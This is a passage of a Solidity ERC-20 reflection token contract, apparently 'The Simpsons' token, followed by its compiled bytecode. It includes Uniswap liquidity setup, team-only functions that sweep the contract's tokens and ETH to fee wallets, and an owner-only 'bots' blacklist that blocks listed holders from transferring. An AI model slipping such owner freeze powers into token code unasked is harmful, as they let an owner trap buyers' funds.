_marketingFunds.transfer(amount.div(2));
}
function openTrading() external onlyOwner() {
require(!tradingOpen, "trading is already open");
IUniswapV2Router02 _uniswapV2Router =
IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
_approve(address(this), address(uniswapV2Router), _tTotal);
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
uniswapV2Router.addLiquidityETH{value: address(this).balance}(
address(this),
balanceOf(address(this)),
0,
0,
owner(),
block.timestamp
);
swapEnabled = true;
cooldownEnabled = true;
_maxTxAmount = 5000000000 * 10**9;
tradingOpen = true;
IERC20(uniswapV2Pair).approve(
address(uniswapV2Router),
type(uint256).max
);
}
function manualswap() external {
require(_msgSender() == _teamAddress);
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function manualsend() external {
require(_msgSender() == _teamAddress);
uint256 contractETHBalance = address(this).balance;
sendETHToFee(contractETHBalance);
}
function setBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function delBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) removeAllFee();
_transferStandard(sender, recipient, amount);
if (!takeFee) restoreAllFee();
}
function _transferStandard(
address sender,
address recipient,
uint256 tAmount
) private {
(
uint256 rAmount,
uint256 rTransferAmount,
uint256 rFee,
uint256 tTransferAmount,
uint256 tFee,
uint256 tTeam
) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
_reflectFee(rFee, tFee);
emit Transfer(sender, recipient, tTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function _reflectFee(uint256 rFee, uint256 tFee) private {
_rTotal = _rTotal.sub(rFee);
_tFeeTotal = _tFeeTotal.add(tFee);
}
receive() external payable {}
function _getValues(uint256 tAmount)
private
view
returns (
uint256,
uint256,
uint256,
uint256,
uint256,
uint256
)
{
(uint256 tTransferAmount, uint256 tFee, uint256 tTeam) =
_getTValues(tAmount, _taxFee, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount, uint256 rFee) =
_getRValues(tAmount, tFee, tTeam, currentRate);
return (rAmount, rTransferAmount, rFee, tTransferAmount, tFee, tTeam);
}
function _getTValues(
uint256 tAmount,
uint256 taxFee,
uint256 TeamFee
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 tFee = tAmount.mul(taxFee).div(100);
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tFee).sub(tTeam);
return (tTransferAmount, tFee, tTeam);
}
function _getRValues(
uint256 tAmount,
uint256 tFee,
uint256 tTeam,
uint256 currentRate
)
private
pure
returns (
uint256,
uint256,
uint256
)
{
uint256 rAmount = tAmount.mul(currentRate);
uint256 rFee = tFee.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rFee).sub(rTeam);
return (rAmount, rTransferAmount, rFee);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function setMaxTxPercent(uint256 maxTxPercent) external onlyOwner() {
require(maxTxPercent > 0, "Amount must be greater than 0");
_maxTxAmount = _tTotal.mul(maxTxPercent).div(10**2);
emit MaxTxAmountUpdated(_maxTxAmount);
}
}
|
0x60806040526004361061010d5760003560e01c8063715018a611610095578063b515566a11610064578063b515566a14610364578063c3c8cd801461038d578063c9567bf9146103a4578063d543dbeb146103bb578063dd62ed3e146103e457610114565b8063715018a6146102ba5780638da5cb5b146102d157806395d89b41146102fc578063a9059cbb1461032757610114565b8063273123b7116100dc578063273123b7146101e9578063313ce567146102125780635932ead11461023d5780636fc3eaec1461026657806370a082311461027d57610114565b806306fdde0314610119578063095ea7b31461014457806318160ddd1461018157806323b872dd146101ac57610114565b3661011457005b600080fd5b34801561012557600080fd5b5061012e610421565b60405161013b9190612e7a565b60405180910390f35b34801561015057600080fd5b5061016b60048036038101906101669190612981565b61045e565b6040516101789190612e5f565b60405180910390f35b34801561018d57600080fd5b5061019661047c565b6040516101a3919061301c565b60405180910390f35b3480156101b857600080fd5b506101d360048036038101906101ce919061292e565b61048d565b6040516101e09190612e5f565b60405180910390f35b3480156101f557600080fd5b50610210600480360381019061020b9190612894565b610566565b005b34801561021e57600080fd5b50610227610656565b6040516102349190613091565b60405180910390f35b34801561024957600080fd5b50610264600480360381019061025f9190612a0a565b61065f565b005b34801561027257600080fd5b5061027b610711565b005b34801561028957600080fd5b506102a4600480360381019061029f9190612894565b610783565b6040516102b1919061301c565b60405180910390f35b3480156102c657600080fd5b506102cf6107d4565b005b3480156102dd57600080fd5b506102e6610927565b6040516102f39190612d91565b60405180910390f35b34801561030857600080fd5b50610311610950565b60405161031e9190612e7a565b60405180910390f35b34801561033357600080fd5b5061034e60048036038101906103499190612981565b61098d565b60405161035b9190612e5f565b60405180910390f35b34801561037057600080fd5b5061038b600480360381019061038691906129c1565b6109ab565b005b34801561039957600080fd5b506103a2610ad5565b005b3480156103b057600080fd5b506103b9610b4f565b005b3480156103c757600080fd5b506103e260048036038101906103dd9190612a64565b6110ab565b005b3480156103f057600080fd5b5061040b600480360381019061040691906128ee565b6111f4565b604051610418919061301c565b60405180910390f35b60606040518060400160405280600c81526020017f5468652053696d70736f6e730000000000000000000000000000000000000000815250905090565b600061047261046b61127b565b8484611283565b6001905092915050565b6000683635c9adc5dea00000905090565b600061049a84848461144e565b61055b846104a661127b565b6105568560405180606001604052806028815260200161379860289139600460008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020600061050c61127b565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611c0d9092919063ffffffff16565b611283565b600190509392505050565b61056e61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146105fb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016105f290612f5c565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b60006009905090565b61066761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146106f4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016106eb90612f5c565b60405180910390fd5b80600f60176101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661075261127b565b73ffffffffffffffffffffffffffffffffffffffff161461077257600080fd5b600047905061078081611c71565b50565b60006107cd600260008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611d6c565b9050919050565b6107dc61127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610869576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161086090612f5c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a360008060006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60606040518060400160405280600881526020017f53494d50534f4e53000000000000000000000000000000000000000000000000815250905090565b60006109a161099a61127b565b848461144e565b6001905092915050565b6109b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a40576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a3790612f5c565b60405180910390fd5b60005b8151811015610ad1576001600a6000848481518110610a6557610a646133d9565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055508080610ac990613332565b915050610a43565b5050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16610b1661127b565b73ffffffffffffffffffffffffffffffffffffffff1614610b3657600080fd5b6000610b4130610783565b9050610b4c81611dda565b50565b610b5761127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610be4576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610bdb90612f5c565b60405180910390fd5b600f60149054906101000a900460ff1615610c34576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c2b90612fdc565b60405180910390fd5b6000737a250d5630b4cf539739df2c5dacb4c659f2488d905080600e60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610cc430600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16683635c9adc5dea00000611283565b8073ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b815260040160206040518083038186803b158015610d0a57600080fd5b505afa158015610d1e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610d4291906128c1565b73ffffffffffffffffffffffffffffffffffffffff1663c9c65396308373ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015610da457600080fd5b505afa158015610db8573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ddc91906128c1565b6040518363ffffffff1660e01b8152600401610df9929190612dac565b602060405180830381600087803b158015610e1357600080fd5b505af1158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b91906128c1565b600f60006101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610ed430610783565b600080610edf610927565b426040518863ffffffff1660e01b8152600401610f0196959493929190612dfe565b6060604051808303818588803b158015610f1a57600080fd5b505af1158015610f2e573d6000803e3d6000fd5b50505050506040513d601f19601f82011682018060405250810190610f539190612a91565b5050506001600f60166101000a81548160ff0219169083151502179055506001600f60176101000a81548160ff021916908315150217905550674563918244f400006010819055506001600f60146101000a81548160ff021916908315150217905550600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b3600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401611055929190612dd5565b602060405180830381600087803b15801561106f57600080fd5b505af1158015611083573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906110a79190612a37565b5050565b6110b361127b565b73ffffffffffffffffffffffffffffffffffffffff1660008054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614611140576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161113790612f5c565b60405180910390fd5b60008111611183576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161117a90612f1c565b60405180910390fd5b6111b260646111a483683635c9adc5dea0000061206290919063ffffffff16565b6120dd90919063ffffffff16565b6010819055507f947f344d56e1e8c70dc492fb94c4ddddd490c016aab685f5e7e47b2e85cb44cf6010546040516111e9919061301c565b60405180910390a150565b6000600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156112f3576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112ea90612fbc565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff161415611363576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135a90612edc565b60405180910390fd5b80600460008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611441919061301c565b60405180910390a3505050565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614156114be576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016114b590612f9c565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561152e576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161152590612e9c565b60405180910390fd5b60008111611571576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161156890612f7c565b60405180910390fd5b611579610927565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141580156115e757506115b7610927565b73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b15611b4a57600f60179054906101000a900460ff161561181a573073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561166957503073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156116c35750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b801561171d5750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b1561181957600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1661176361127b565b73ffffffffffffffffffffffffffffffffffffffff1614806117d95750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166117c161127b565b73ffffffffffffffffffffffffffffffffffffffff16145b611818576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161180f90612ffc565b60405180910390fd5b5b5b60105481111561182957600080fd5b600a60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff161580156118cd5750600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b6118d657600080fd5b600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161480156119815750600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff1614155b80156119d75750600560008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff16155b80156119ef5750600f60179054906101000a900460ff165b15611a905742600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205410611a3f57600080fd5b603c42611a4c9190613152565b600b60008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055505b6000611a9b30610783565b9050600f60159054906101000a900460ff16158015611b085750600f60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614155b8015611b205750600f60169054906101000a900460ff165b15611b4857611b2e81611dda565b60004790506000811115611b4657611b4547611c71565b5b505b505b600060019050600560008573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff1680611bf15750600560008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060009054906101000a900460ff165b15611bfb57600090505b611c0784848484612127565b50505050565b6000838311158290611c55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611c4c9190612e7a565b60405180910390fd5b5060008385611c649190613233565b9050809150509392505050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611cc16002846120dd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611cec573d6000803e3d6000fd5b50600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff166108fc611d3d6002846120dd90919063ffffffff16565b9081150290604051600060405180830381858888f19350505050158015611d68573d6000803e3d6000fd5b5050565b6000600654821115611db3576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611daa90612ebc565b60405180910390fd5b6000611dbd612154565b9050611dd281846120dd90919063ffffffff16565b915050919050565b6001600f60156101000a81548160ff0219169083151502179055506000600267ffffffffffffffff811115611e1257611e11613408565b5b604051908082528060200260200182016040528015611e405781602001602082028036833780820191505090505b5090503081600081518110611e5857611e576133d9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b815260040160206040518083038186803b158015611efa57600080fd5b505afa158015611f0e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190611f3291906128c1565b81600181518110611f4657611f456133d9565b5b602002602001019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050611fad30600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1684611283565b600e60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663791ac9478360008430426040518663ffffffff1660e01b8152600401612011959493929190613037565b600060405180830381600087803b15801561202b57600080fd5b505af115801561203f573d6000803e3d6000fd5b50505050506000600f60156101000a81548160ff02191690831515021790555050565b60008083141561207557600090506120d7565b6000828461208391906131d9565b905082848261209291906131a8565b146120d2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016120c990612f3c565b60405180910390fd5b809150505b92915050565b600061211f83836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061217f565b905092915050565b80612135576121346121e2565b5b612140848484612213565b8061214e5761214d6123de565b5b50505050565b60008060006121616123f0565b9150915061217881836120dd90919063ffffffff16565b9250505090565b600080831182906121c6576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016121bd9190612e7a565b60405180910390fd5b50600083856121d591906131a8565b9050809150509392505050565b60006008541480156121f657506000600954145b1561220057612211565b600060088190555060006009819055505b565b60008060008060008061222587612452565b95509550955095509550955061228386600260008c73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020546124ba90919063ffffffff16565b600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061231885600260008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250490919063ffffffff16565b600260008a73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061236481612562565b61236e848361261f565b8773ffffffffffffffffffffffffffffffffffffffff168973ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef856040516123cb919061301c565b60405180910390a3505050505050505050565b60026008819055506008600981905550565b600080600060065490506000683635c9adc5dea000009050612426683635c9adc5dea000006006546120dd90919063ffffffff16565b82101561244557600654683635c9adc5dea0000093509350505061244e565b81819350935050505b9091565b600080600080600080600080600061246f8a600854600954612659565b925092509250600061247f612154565b905060008060006124928e8787876126ef565b9250925092508282828989899c509c509c509c509c509c505050505050505091939550919395565b60006124fc83836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f770000815250611c0d565b905092915050565b60008082846125139190613152565b905083811015612558576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161254f90612efc565b60405180910390fd5b8091505092915050565b600061256c612154565b90506000612583828461206290919063ffffffff16565b90506125d781600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000205461250490919063ffffffff16565b600260003073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002081905550505050565b612634826006546124ba90919063ffffffff16565b60068190555061264f8160075461250490919063ffffffff16565b6007819055505050565b6000806000806126856064612677888a61206290919063ffffffff16565b6120dd90919063ffffffff16565b905060006126af60646126a1888b61206290919063ffffffff16565b6120dd90919063ffffffff16565b905060006126d8826126ca858c6124ba90919063ffffffff16565b6124ba90919063ffffffff16565b905080838395509550955050505093509350939050565b600080600080612708858961206290919063ffffffff16565b9050600061271f868961206290919063ffffffff16565b90506000612736878961206290919063ffffffff16565b9050600061275f8261275185876124ba90919063ffffffff16565b6124ba90919063ffffffff16565b9050838184965096509650505050509450945094915050565b600061278b612786846130d1565b6130ac565b905080838252602082019050828560208602820111156127ae576127ad61343c565b5b60005b858110156127de57816127c488826127e8565b8452602084019350602083019250506001810190506127b1565b5050509392505050565b6000813590506127f781613752565b92915050565b60008151905061280c81613752565b92915050565b600082601f83011261282757612826613437565b5b8135612837848260208601612778565b91505092915050565b60008135905061284f81613769565b92915050565b60008151905061286481613769565b92915050565b60008135905061287981613780565b92915050565b60008151905061288e81613780565b92915050565b6000602082840312156128aa576128a9613446565b5b60006128b8848285016127e8565b91505092915050565b6000602082840312156128d7576128d6613446565b5b60006128e5848285016127fd565b91505092915050565b6000806040838503121561290557612904613446565b5b6000612913858286016127e8565b9250506020612924858286016127e8565b9150509250929050565b60008060006060848603121561294757612946613446565b5b6000612955868287016127e8565b9350506020612966868287016127e8565b92505060406129778682870161286a565b9150509250925092565b6000806040838503121561299857612997613446565b5b60006129a6858286016127e8565b92505060206129b78582860161286a565b9150509250929050565b6000602082840312156129d7576129d6613446565b5b600082013567ffffffffffffffff8111156129f5576129f4613441565b5b612a0184828501612812565b91505092915050565b600060208284031215612a2057612a1f613446565b5b6000612a2e84828501612840565b91505092915050565b600060208284031215612a4d57612a4c613446565b5b6000612a5b84828501612855565b91505092915050565b600060208284031215612a7a57612a79613446565b5b6000612a888482850161286a565b91505092915050565b600080600060608486031215612aaa57612aa9613446565b5b6000612ab88682870161287f565b9350506020612ac98682870161287f565b9250506040612ada8682870161287f565b9150509250925092565b6000612af08383612afc565b60208301905092915050565b612b0581613267565b82525050565b612b1481613267565b82525050565b6000612b258261310d565b612b2f8185613130565b9350612b3a836130fd565b8060005b83811015612b6b578151612b528882612ae4565b9750612b5d83613123565b925050600181019050612b3e565b5085935050505092915050565b612b8181613279565b82525050565b612b90816132bc565b82525050565b6000612ba182613118565b612bab8185613141565b9350612bbb8185602086016132ce565b612bc48161344b565b840191505092915050565b6000612bdc602383613141565b9150612be78261345c565b604082019050919050565b6000612bff602a83613141565b9150612c0a826134ab565b604082019050919050565b6000612c22602283613141565b9150612c2d826134fa565b604082019050919050565b6000612c45601b83613141565b9150612c5082613549565b602082019050919050565b6000612c68601d83613141565b9150612c7382613572565b602082019050919050565b6000612c8b602183613141565b9150612c968261359b565b604082019050919050565b6000612cae602083613141565b9150612cb9826135ea565b602082019050919050565b6000612cd1602983613141565b9150612cdc82613613565b604082019050919050565b6000612cf4602583613141565b9150612cff82613662565b604082019050919050565b6000612d17602483613141565b9150612d22826136b1565b604082019050919050565b6000612d3a601783613141565b9150612d4582613700565b602082019050919050565b6000612d5d601183613141565b9150612d6882613729565b602082019050919050565b612d7c816132a5565b82525050565b612d8b816132af565b82525050565b6000602082019050612da66000830184612b0b565b92915050565b6000604082019050612dc16000830185612b0b565b612dce6020830184612b0b565b9392505050565b6000604082019050612dea6000830185612b0b565b612df76020830184612d73565b9392505050565b600060c082019050612e136000830189612b0b565b612e206020830188612d73565b612e2d6040830187612b87565b612e3a6060830186612b87565b612e476080830185612b0b565b612e5460a0830184612d73565b979650505050505050565b6000602082019050612e746000830184612b78565b92915050565b60006020820190508181036000830152612e948184612b96565b905092915050565b60006020820190508181036000830152612eb581612bcf565b9050919050565b60006020820190508181036000830152612ed581612bf2565b9050919050565b60006020820190508181036000830152612ef581612c15565b9050919050565b60006020820190508181036000830152612f1581612c38565b9050919050565b60006020820190508181036000830152612f3581612c5b565b9050919050565b60006020820190508181036000830152612f5581612c7e565b9050919050565b60006020820190508181036000830152612f7581612ca1565b9050919050565b60006020820190508181036000830152612f9581612cc4565b9050919050565b60006020820190508181036000830152612fb581612ce7565b9050919050565b60006020820190508181036000830152612fd581612d0a565b9050919050565b60006020820190508181036000830152612ff581612d2d565b9050919050565b6000602082019050818103600083015261301581612d50565b9050919050565b60006020820190506130316000830184612d73565b92915050565b600060a08201905061304c6000830188612d73565b6130596020830187612b87565b818103604083015261306b8186612b1a565b905061307a6060830185612b0b565b6130876080830184612d73565b9695505050505050565b60006020820190506130a66000830184612d82565b92915050565b60006130b66130c7565b90506130c28282613301565b919050565b6000604051905090565b600067ffffffffffffffff8211156130ec576130eb613408565b5b602082029050602081019050919050565b6000819050602082019050919050565b600081519050919050565b600081519050919050565b6000602082019050919050565b600082825260208201905092915050565b600082825260208201905092915050565b600061315d826132a5565b9150613168836132a5565b9250827fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff0382111561319d5761319c61337b565b5b828201905092915050565b60006131b3826132a5565b91506131be836132a5565b9250826131ce576131cd6133aa565b5b828204905092915050565b60006131e4826132a5565b91506131ef836132a5565b9250817fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff04831182151516156132285761322761337b565b5b828202905092915050565b600061323e826132a5565b9150613249836132a5565b92508282101561325c5761325b61337b565b5b828203905092915050565b600061327282613285565b9050919050565b60008115159050919050565b600073ffffffffffffffffffffffffffffffffffffffff82169050919050565b6000819050919050565b600060ff82169050919050565b60006132c7826132a5565b9050919050565b60005b838110156132ec5780820151818401526020810190506132d1565b838111156132fb576000848401525b50505050565b61330a8261344b565b810181811067ffffffffffffffff8211171561332957613328613408565b5b80604052505050565b600061333d826132a5565b91507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8214156133705761336f61337b565b5b600182019050919050565b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601160045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052601260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052603260045260246000fd5b7f4e487b7100000000000000000000000000000000000000000000000000000000600052604160045260246000fd5b600080fd5b600080fd5b600080fd5b600080fd5b6000601f19601f8301169050919050565b7f45524332303a207472616e7366657220746f20746865207a65726f206164647260008201527f6573730000000000000000000000000000000000000000000000000000000000602082015250565b7f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260008201527f65666c656374696f6e7300000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f766520746f20746865207a65726f20616464726560008201527f7373000000000000000000000000000000000000000000000000000000000000602082015250565b7f536166654d6174683a206164646974696f6e206f766572666c6f770000000000600082015250565b7f416d6f756e74206d7573742062652067726561746572207468616e2030000000600082015250565b7f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f60008201527f7700000000000000000000000000000000000000000000000000000000000000602082015250565b7f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572600082015250565b7f5472616e7366657220616d6f756e74206d75737420626520677265617465722060008201527f7468616e207a65726f0000000000000000000000000000000000000000000000602082015250565b7f45524332303a207472616e736665722066726f6d20746865207a65726f20616460008201527f6472657373000000000000000000000000000000000000000000000000000000602082015250565b7f45524332303a20617070726f76652066726f6d20746865207a65726f2061646460008201527f7265737300000000000000000000000000000000000000000000000000000000602082015250565b7f74726164696e6720697320616c7265616479206f70656e000000000000000000600082015250565b7f4552523a20556e6973776170206f6e6c79000000000000000000000000000000600082015250565b61375b81613267565b811461376657600080fd5b50565b61377281613279565b811461377d57600080fd5b50565b613789816132a5565b811461379457600080fd5b5056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220512c00f783d604bf1ef48ce2e07422bea7e70493c65cf0aebd96897b98e7373f64736f6c63430008070033
|
